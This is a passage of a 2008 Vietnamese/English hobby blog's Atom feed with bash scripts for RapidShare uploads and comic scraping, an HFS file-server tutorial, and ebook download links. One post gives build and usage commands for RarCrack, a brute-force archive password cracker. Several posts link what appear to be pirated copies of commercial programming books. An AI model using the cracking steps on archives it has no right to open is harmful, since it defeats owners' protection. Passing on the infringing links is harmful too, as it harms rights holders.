&lt;_script_to_upload_file_to_rapidshare_&gt; $1 &lt;_free|pre|col_&gt; &lt;_account_&gt; &lt;_password_&gt;&lt;br /&gt;    "list") cat $2 | while read line; do &lt;_script_to_upload_file_to_rapidshare_&gt; $line col &lt;_account_&gt; &lt;_password_&gt;; done&lt;br /&gt;esac&lt;br /&gt;cat rsapiuploads.txt | grep File1.1= &gt; linkup.txt&lt;br /&gt;cat linkup.txt | sed 's/^File1.1=//g' &gt;&gt; &lt;_file-store-links-rapidshare-links_&gt;&lt;br /&gt;rm linkup.txt &lt;br /&gt;rm rsapiuploads.txt&lt;br /&gt;echo "Script by bornbygoogle at hackthefreedom.blogspot.com"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Give +x permission to the script and enjoy yourself. If you have difficult usage, please let me know at bornbygoogle@yahoo.com or with the yahoo ID : bornbygoogle&lt;br /&gt;&lt;br /&gt;Glad to see you.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-5333901165255279497?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/5333901165255279497/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=5333901165255279497' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/5333901165255279497'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/5333901165255279497'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/05/bash-script-upload-to-rapidshare-with.html' title='Bash script upload to rapidshare with collector account !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-3929620015039565366</id><published>2008-04-22T15:16:00.000-07:00</published><updated>2008-04-28T11:41:56.417-07:00</updated><title type='text'>Vài cuốn ebooks về C - C++ - C# !</title><content type='html'>Đang thực hiện sưu tầm ebooks về C - C++ - C#, có cuốn nào mình sẽ up lên cuốn đó, hi vọng các bạn tìm được cuốn sách mình cần :)&lt;br /&gt;&lt;br /&gt;http://rapidshare.com/files/107148415/giaotrinhc.pdf&lt;br /&gt;http://rapidshare.com/files/109641153/Giao_trinh_C_shap.pdf&lt;br /&gt;http://rapidshare.com/files/109641367/Giao_Trinh_Ngon_Ngu_Lap_Trinh_C.DOC&lt;br /&gt;http://rapidshare.com/files/109641435/Ky_Thuat_Lap_Trinh_CSharp_2.0.chm&lt;br /&gt;http://rapidshare.com/files/111095580/Cac_giai_phap_lap_trinh_C___final_.rar.html&lt;br /&gt;http://rapidshare.com/files/111095911/C-Sharp_Cookbook.rar.html&lt;br /&gt;http://rapidshare.com/files/111096020/Learning_C-Sharp_2005.rar.html&lt;br /&gt;http://rapidshare.com/files/111096175/Programming_C.rar.html&lt;br /&gt;http://rapidshare.com/files/111096665/Programming_microsoft_visual_c___fifth_edition.rar.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-3929620015039565366?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/3929620015039565366/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=3929620015039565366' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/3929620015039565366'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/3929620015039565366'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/04/vi-cun-ebooks-v-c-c-c.html' title='Vài cuốn ebooks về C - C++ - C# !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-6028061512720620599</id><published>2008-04-22T15:01:00.000-07:00</published><updated>2008-04-22T15:02:12.424-07:00</updated><title type='text'>Website tin tức tổng hợp tự động !</title><content type='html'>&lt;div class="ttvtIntro"&gt;&lt;p&gt;Ngày nay, với sự nở rộ của rất nhiều tờ báo điện tử, người dùng thật khó có thể định hướng nội dung cần xem cũng như lựa chọn một tờ báo để đọc được nhiều thông tin nhất. Có những thông tin mà ở báo này không có, báo khác lại có; hoặc có những thông tin rất nhiều báo đăng trùng lại của nhau... Do vậy, nếu bạn chọn giải pháp mở nhiều tờ báo điện tử ra xem để nắm bắt thông tin nhiều nhất thật ra không được khả thi cho lắm.&lt;/p&gt;&lt;div class="ttvtFigRight" style="width: 240px;"&gt;&lt;a href="http://us.media.thongtincongnghe.com/upload/large/0804/21/baongay.png" title="" rel="lightbox"&gt;&lt;img src="http://us.media.thongtincongnghe.com/upload/small/0804/21/baongay.png" alt="" title=""&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;Website &lt;a href="http://www.baongay.com"&gt;baongay.com&lt;/a&gt; (Báo Ngày) ra đời nhằm giúp bạn tiết kiệm thời gian nhất khi đọc báo mà lại thu được rất nhiều thông tin hữu ích. Đây là một website tổng hợp tin tức tự động từ hơn 20 đầu báo điện tử chính thống và uy tín nhất Việt Nam, trong đó phải kể đến những tên tuổi lớn như VietNamNet, Vnexpress, Thanh Niên, Tuổi Trẻ, Dân Trí, Công An Nhân Dân...; những trang giải trí nổi bật như: Ngôi Sao, Tin tức Online, 24h, Tìm Nhanh...&lt;/p&gt;&lt;p&gt;Điểm nổi bật của website này là tin tức được xử lý hoàn toàn tự động, không cần sự tác động của người quản trị. Bất cứ khi nào trang báo điện tử nguồn có tin mới là baongay.com đều cập nhật ngay tức thì, và không quá “máy móc”, những tin có nội dung trùng nhau (báo này đăng lại của báo kia) đều được loại bỏ và chỉ giữ lại một tin duy nhất.&lt;/p&gt;&lt;p&gt;Sự “thông minh” của trang web còn thể hiện ở chỗ nó có khả năng nhận biết đâu là tin HOT (tin nổi bật, mang tính thời sự cao, có khả năng thu hút nhiều người quan tâm) để đưa lên đầu trang chủ và “treo” tin đó lên mục Tiêu điểm. Ngoài ra, với những tin có liên quan đến nhau theo chuỗi sự kiện (chẳng hạn sự kiện “Vàng Anh”, “Người làm bị hành hạ hơn 10 năm”...), baongay.com sẽ tự động gom nhóm lại để bạn theo dõi một cách mạch lạc và có hệ thống. Các công cụ như tìm kiếm thông tin; lọc tin theo ngày tháng, chuyên mục cũng được cung cấp với mục đích giúp người đọc “hễ tìm là thấy”.&lt;/p&gt;&lt;p&gt;Cuối cùng, các tin tức trong baongay.com đều được dẫn nguồn cụ thể và kèm theo thông tin thời gian cập nhật để bạn tiện tham khảo.&lt;/p&gt;&lt;p&gt;&lt;span style="font-style:italic;"&gt;(Theo eCHIP)&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-6028061512720620599?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/6028061512720620599/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=6028061512720620599' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/6028061512720620599'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/6028061512720620599'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/04/website-tin-tc-tng-hp-t-ng.html' title='Website tin tức tổng hợp tự động !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-8039199850408679576</id><published>2008-04-22T14:49:00.000-07:00</published><updated>2008-04-22T14:52:31.373-07:00</updated><title type='text'>Tạo Web Server chỉ với một cú click chuột !</title><content type='html'>&lt;div class="ttvtIntro"&gt;HFS là một ứng dụng cho phép bạn tạo được một Web Server chỉ với một cú click chuột. Vì là ứng dụng không cần cài đặt nên vừa khi kích hoạt cũng là lúc máy tính của bạn đã thành Web Server. &lt;div class="ttvtFigCenter"&gt;&lt;a href="http://us.media.thongtincongnghe.com/upload/large/0804/6/hfs.jpg" title="" rel="lightbox"&gt;&lt;img src="http://us.media.thongtincongnghe.com/upload/med/0804/6/hfs.jpg" alt="" title=""&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;Bạn tải HFS tại địa chỉ &lt;a href="http://www.thongtincongnghe.com/software/171"&gt;http://www.thongtincongnghe.com/software/171&lt;/a&gt;. Dung lượng HFS nhỏ gọn chỉ 550KB. Tương thích mọi Windows. &lt;br&gt;Sau khi đã tải hoàn tất, bạn chạy tập tin tải về. Khung thiết lập chung hiển thị. Bạn chọn Yes để tích hợp HFS vào menu chuột phải để sử dụng nhanh chóng chương trình khi cần chia sẻ File.&lt;/p&gt;&lt;div class="ttvtFigCenter"&gt;&lt;a href="http://us.media.thongtincongnghe.com/upload/large/0804/3/image002.jpg" title="" rel="lightbox"&gt;&lt;img src="http://us.media.thongtincongnghe.com/upload/med/0804/3/image002.jpg" alt="" title=""&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Khi đó, chương trình sẽ hiển thị ở khung chính như hình bên dưới, bạn nên chọn chế độ thiết lập nâng cao thông qua tùy chọn You Are In Expert Mode. Lần đầu tiên chạy chương trình, bạn chọn menu Self Test để kiểm tra sự hoạt động tốt của ứng dụng trên môi trường Windows máy tính của bạn. Nếu có một hộp thoại thông báo thành công, bạn sẽ được sử dụng HFS trong việc chia sẻ dữ liệu trên máy tính của mình.&lt;/p&gt;&lt;p&gt;Sau đây là các thiết lập chung khi dùng HFS.&lt;/p&gt;&lt;div class="ttvtFigCenter"&gt;&lt;a href="http://us.media.thongtincongnghe.com/upload/large/0804/3/image004.jpg" title="" rel="lightbox"&gt;&lt;img src="http://us.media.thongtincongnghe.com/upload/med/0804/3/image004.jpg" alt="" title=""&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;br&gt;Limits: Cho phép bạn tùy chọn cách tải từ máy client. Bạn có quyền thiết lập các lựa chọn nâng cao sau:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Bans: Cho phép bạn cấm sự truy xuất từ các &lt;a class="tdcnAutoLink" href="http://tudiencongnghe.com/Special:Search/IP"&gt;IP&lt;/a&gt; tùy chọn. Sau khi chọn vào mục này, bạn nhập trực tiếp địa chỉ IP và khung tương ứng. Trong trường hợp có nhiều IP thì bạn chọn Add Row và nhập tuần tự từng IP. Nhấn OK để hoàn tất.&lt;/li&gt;&lt;li&gt;Speed Limit: Cho bạn tùy chọn băng thông tải từ các máy Client khác khi tải dữ liệu chia sẻ từ máy bạn. Bạn nhập số tương ứng tương đương với số KB/s. Bỏ trống đồng nghĩa với việc tải không giới hạn.&lt;/li&gt;&lt;li&gt;Max Simultaneous downloads: tùy chọn này cho bạn thiết lập số lần tải dang dở tối đa từ một IP. Thiết lập này giúp bạn hạn chế được băng thông đi ra quá nhiều từ máy tính của mình. Bỏ trống đồng nghĩa với việc không giới hạn số lần tải đồng thời từ một IP.&lt;/li&gt;&lt;li&gt;Prevent Leeching: Cho phép bạn thiết lập cho hay không cho các chương trình hỗ trợ tải File.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;IP Address: Cho phép bạn tùy chọn kết nối với một IP bất kỳ.&lt;/p&gt;&lt;p&gt;Trong trường hợp bạn chia sẻ qua &lt;a class="tdcnAutoLink" href="http://tudiencongnghe.com/Special:Search/LAN"&gt;LAN&lt;/a&gt;, bạn không cần thiết lập. Tuy nhiên, khi bạn chia sẻ qua &lt;a class="tdcnAutoLink" href="http://tudiencongnghe.com/Special:Search/Internet"&gt;Internet&lt;/a&gt; thì bạn phải tự động thiết lập thông qua &lt;a class="tdcnAutoLink" href="http://tudiencongnghe.com/Special:Search/DNS"&gt;DNS&lt;/a&gt; với tác vụ Find External Address. Khi đó, chương trình sẽ tự động chọn IP tương ứng cho người dùng có thể lấy dữ liệu từ máy bạn thông qua Internet.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Accept Connections On: Cho bạn chọn địa chỉ IP kết nối với máy tính chia sẻ. Nếu ngoài danh mục này thì kết nối sẽ bị ngắt. Bạn nên chọn Any Address.&lt;/li&gt;&lt;li&gt;Dynamic DNS Updater: Cho phép bạn tự động cập nhật DNS thông qua các dịch vụ DNS miễn phí như DynDNS, CJB, No-IP. Do IP tại Việt Nam là các IP động nên các dịch vụ DNS sẽ tự động cập nhật nhanh địa chỉ IP khi share và hoàn toàn đơn giản khi thiết lập. Nếu bạn sử dụng dịch vụ DNS khác, bạn chọn Custom và làm theo hướng dẫn để cập nhật địa chỉ.&lt;/li&gt;&lt;li&gt;Other Options: Đây là các thiết lập khác.&lt;/li&gt;&lt;li&gt;User Accounts: Cho phép bạn thiết lập người dùng khi chia sẻ dạng chỉ định. Sau khi chọn vào mục này. Bạn sẽ gặp hộp thoại Accounts. Bạn chọn Add để thêm người dùng. Mỗi người dùng sẽ được định danh bằng một mật khẩu do bạn chỉ định. Nhấn OK khi bạn thiết lập xong.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Sử dụng HSF để chia sẻ tập tin như thế nào?&lt;/strong&gt;&lt;/p&gt;&lt;div class="ttvtFigCenter"&gt;&lt;strong&gt;&lt;a href="http://us.media.thongtincongnghe.com/upload/large/0804/3/image008.jpg" title="" rel="lightbox"&gt;&lt;img src="http://us.media.thongtincongnghe.com/upload/med/0804/3/image008.jpg" alt="" title=""&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Tại khung chính chương trình, bên mục trái. Bạn click phải để tạo các dạng chia sẻ kèm theo thiết lập chính khi chia sẻ. Để chia sẻ một tập tin hay thư mục, bạn chọn Add Files/ Add Folder From Disk. Với tùy chọn chia sẻ thư mục, bạn sẽ có hai lựa chọn như sau: Với lựa chọn Real Folder, bạn được quyền chia sẻ các thư mục với dung lượng tập tin lớn thông qua cơ chế Cache. Khi đó yêu cầu máy tính phải mạnh và đường truyền tốt. Với lựa chọn Virtual Folder, mỗi khi chia sẻ sẽ được phân chia trực tiếp. Tùy theo cách chia sẻ của mình mà bạn có cách lựa chọn thích hợp. Sau đó, bạn có thể tùy chọn người cần được chia sẻ thông qua mục chọn Set User/Pass. Chọn icon hiển thị thông qua mục Icon. Các mục khác bạn nên để mặc định. Khi đó, bạn có thể kiểm tra việc chia sẻ thông qua việc kiểm tra địa chỉ với tùy chọn Open in Browser. &lt;/p&gt;&lt;p&gt;Có thể nói, HFS thật sự là một ứng dụng hữu ích dành cho những tay tập tành chia sẻ dữ liệu thông qua đường truyền &lt;a class="tdcnAutoLink" href="http://tudiencongnghe.com/Special:Search/ADSL"&gt;ADSL&lt;/a&gt;. Bạn vừa có thể chia sẻ dữ liệu mà vẫn đảm bảo tính bảo mật hệ thống kèm theo các tùy chọn nâng cao khi thiết lập chia sẻ như qua http (port 80, ftp (port 21)…&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;( Theo www.thongtincongnghe.com )&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-8039199850408679576?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/8039199850408679576/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=8039199850408679576' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/8039199850408679576'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/8039199850408679576'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/04/to-web-server-ch-vi-mt-c-click-chut.html' title='Tạo Web Server chỉ với một cú click chuột !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-241173906714106459</id><published>2008-04-20T08:50:00.000-07:00</published><updated>2008-04-20T09:02:59.570-07:00</updated><title type='text'>Bash script : Lấy truyện tranh từ trang comic.vuilen.com !</title><content type='html'>Một bash script nhỏ tự viết để lấy truyện đọc cho đỡ buồn :&lt;br /&gt;&lt;br /&gt;Save this script with the name comic-get : &lt;br /&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;#USAGE : comic-get &lt;_ten truyen_&gt; &lt;_so tap_&gt; &lt;_so trang trong 1 tap truyen_&gt;&lt;br /&gt;cd &lt;_path_where_you_want_to_store_these_comic_books_&gt;&lt;br /&gt;echo "Script lay truyen tu trang comic.vuilen.com !"&lt;br /&gt;mkdir $1&lt;br /&gt;cd $1 &lt;br /&gt;for ((i=1; i&lt;=$2; i++ ));&lt;br /&gt;   do&lt;br /&gt; mkdir Tap\ $i/&lt;br /&gt; wget http://data.vuilen.com/comic/3zdssxfhjgiu87z65txdfghyu761x/$1/tap$i/img/bia.jpg&lt;br /&gt; for (( j=1; j&lt;=$3; j++ )); &lt;br /&gt;     do  &lt;br /&gt;  wget -o log.txt http://data.vuilen.com/comic/3zdssxfhjgiu87z65txdfghyu761x/$1/tap$i/img/Untitled-$j.jpg&lt;br /&gt;  fault=`cat log.txt | grep "ERROR 404" | wc -l`&lt;br /&gt;  if [ $fault -ne 0 ]; then&lt;br /&gt;       wget -o log.txt http://data.vuilen.com/comic/3zdssxfhjgiu87z65txdfghyu761x/$1/tap$i/img/$j.jpg&lt;br /&gt;  fi&lt;br /&gt;     done&lt;br /&gt; echo "Download xong ! Bat dau thuc hien doi ten de sap xep truyen theo thu' tu. can doc !"&lt;br /&gt; rename 's/^Untitled-//g ; s/^0+//g' *.jpg&lt;br /&gt; rename -v 's/^(\d{1})\.jpg$/00$1\.jpg/' *.jpgFree to use, but please &lt;br /&gt; rename -v 's/^(\d{2})\.jpg$/0$1\.jpg/' *.jpg&lt;br /&gt; rename -v 's/^bia/000/' *.jpg&lt;br /&gt; cp *.jpg Tap\ $i/&lt;br /&gt; rm *.jpg&lt;br /&gt;   done&lt;br /&gt;rm log.txt&lt;br /&gt;cd ..&lt;br /&gt;echo "Tao mot hoac nhieu file rar co dung luong 100M ! :D ;) "&lt;br /&gt;rar a -m5 -v100M $1.rar $1&lt;br /&gt;echo "All done ! Have a good time !"&lt;br /&gt;&lt;br /&gt;#Copyright superguepard at bornbygoogle@yahoo.com&lt;br /&gt;&lt;br /&gt;Then give the execute permission to it : chmod +x comic-get&lt;br /&gt;Now, you can grab with the command : comic-get &lt;ten truyen&gt; &lt;so tap&gt; 200&lt;br /&gt;&lt;_ten truyen_&gt; : là tên tiếng việt viết thường. VD : Conan ---&gt; conan, Thám tử Kindaichi ---&gt; thamtukindaichi&lt;br /&gt;&lt;_so tap_&gt; : số tập mà truyện đó có ( vào comic.vuilen.com kiểm tra )&lt;br /&gt;&lt;br /&gt;If you have the errors, please tell me, I will fix it and return to you immediately.&lt;br /&gt;This script is only run with linux.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-241173906714106459?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/241173906714106459/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=241173906714106459' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/241173906714106459'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/241173906714106459'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/04/bash-script-ly-truyn-tranh-t-trang.html' title='Bash script : Lấy truyện tranh từ trang comic.vuilen.com !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-5672796985213063678</id><published>2008-04-19T00:00:00.000-07:00</published><updated>2008-04-19T00:04:15.980-07:00</updated><title type='text'>How to crack a file .rar with linux !</title><content type='html'>Software requirements:&lt;br /&gt;    * &gt; glibc 2.4&lt;br /&gt;    * any POSIX compatible operating system [sorry Window$ isn't]&lt;br /&gt;    * pthreads&lt;br /&gt;    * libxml2&lt;br /&gt;    * and finally: 7zip, unrar, unzip&lt;br /&gt;&lt;br /&gt;Building and installing:&lt;br /&gt;    $ tar -xjf rarcrack-VERSION.tar.bz2&lt;br /&gt;    $ cd rarcrack-VERSION&lt;br /&gt; // you need gcc or any C compiler (edit Makefile CC=YOUR_C_COMPILER)&lt;br /&gt;    $ make&lt;br /&gt; // you must be root in next step:&lt;br /&gt;    $ make install&lt;br /&gt;  &lt;br /&gt;Using RarCrack:&lt;br /&gt;&lt;br /&gt;    rarcrack your_encrypted_archive.ext [--threads thread_num] [--type rar|zip|7z]&lt;br /&gt;&lt;br /&gt;Everything in [] are optional, rarcrack default crack two threads and autodetect the archive type. If the detection wrong you can specify the correct file type with the type parameter. RarCrack currently crack maximum in 12 threads.&lt;br /&gt;&lt;br /&gt;You can find the lastest version here : http://rarcrack.sourceforge.net/&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Warning:  Please don't use this program for any illegal things!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-5672796985213063678?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/5672796985213063678/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=5672796985213063678' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/5672796985213063678'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/5672796985213063678'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/04/how-to-crack-file-rar-with-linux.html' title='How to crack a file .rar with linux !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-335074065328234325</id><published>2008-04-13T14:31:00.000-07:00</published><updated>2008-04-13T14:41:02.137-07:00</updated><title type='text'>Bash scripting !</title><content type='html'>I'm going to learn about BASH scripting, this post is going to be my collection books of BASH scripting. Glad to meet you at my YM : bornbygoogle@yahoo.com&lt;br /&gt;&lt;br /&gt;http://rapidshare.com/files/107263841/Linux_-_Advanced_Bash_Shell_Scripting_Guide.pdf.html&lt;br /&gt;http://rapidshare.com/files/107264407/63.Sams.Linux.Shell.Scripting.with.Bash.eBook-LinG.pdf.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-335074065328234325?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/335074065328234325/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=335074065328234325' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/335074065328234325'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/335074065328234325'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/04/bash-scripting.html' title='Bash scripting !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-460385375967506517</id><published>2008-04-13T13:53:00.000-07:00</published><updated>2008-04-13T14:31:03.997-07:00</updated><title type='text'>Youtube download script - Linux !</title><content type='html'>First of all, download this script :&lt;br /&gt;&lt;br /&gt;http://rapidshare.com/files/107254251/youtube-dl.py.html&lt;br /&gt;&lt;br /&gt;And then : &lt;br /&gt;&lt;br /&gt;1- Give the execution permission to that script&lt;br /&gt;2- Copy it to the path "/usr/local/bin"&lt;br /&gt;&lt;br /&gt;Now, you can download from youtube with the command line :&lt;br /&gt;&lt;br /&gt;$youtube-dl -o &lt;_name_you_wish.flv_&gt; &lt;_youtube links_&gt;&lt;br /&gt;&lt;br /&gt;Or, "youtube-dl --help" to see more option&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-460385375967506517?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/460385375967506517/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=460385375967506517' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/460385375967506517'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/460385375967506517'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/04/youtube-download-script-linux.html' title='Youtube download script - Linux !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-4552249913724309418</id><published>2008-03-29T02:31:00.001-07:00</published><updated>2008-04-14T07:58:55.495-07:00</updated><title type='text'>Bash command : Read the content a file !</title><content type='html'>A simple bash command to read line from a file :&lt;br /&gt;&lt;br /&gt;cat &lt;_file_name_&gt; |while read line; do echo "${line}"; done&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-4552249913724309418?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/4552249913724309418/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=4552249913724309418' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/4552249913724309418'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/4552249913724309418'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/03/bash-command-read-content-file.html' title='Bash command : Read the content a file !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' 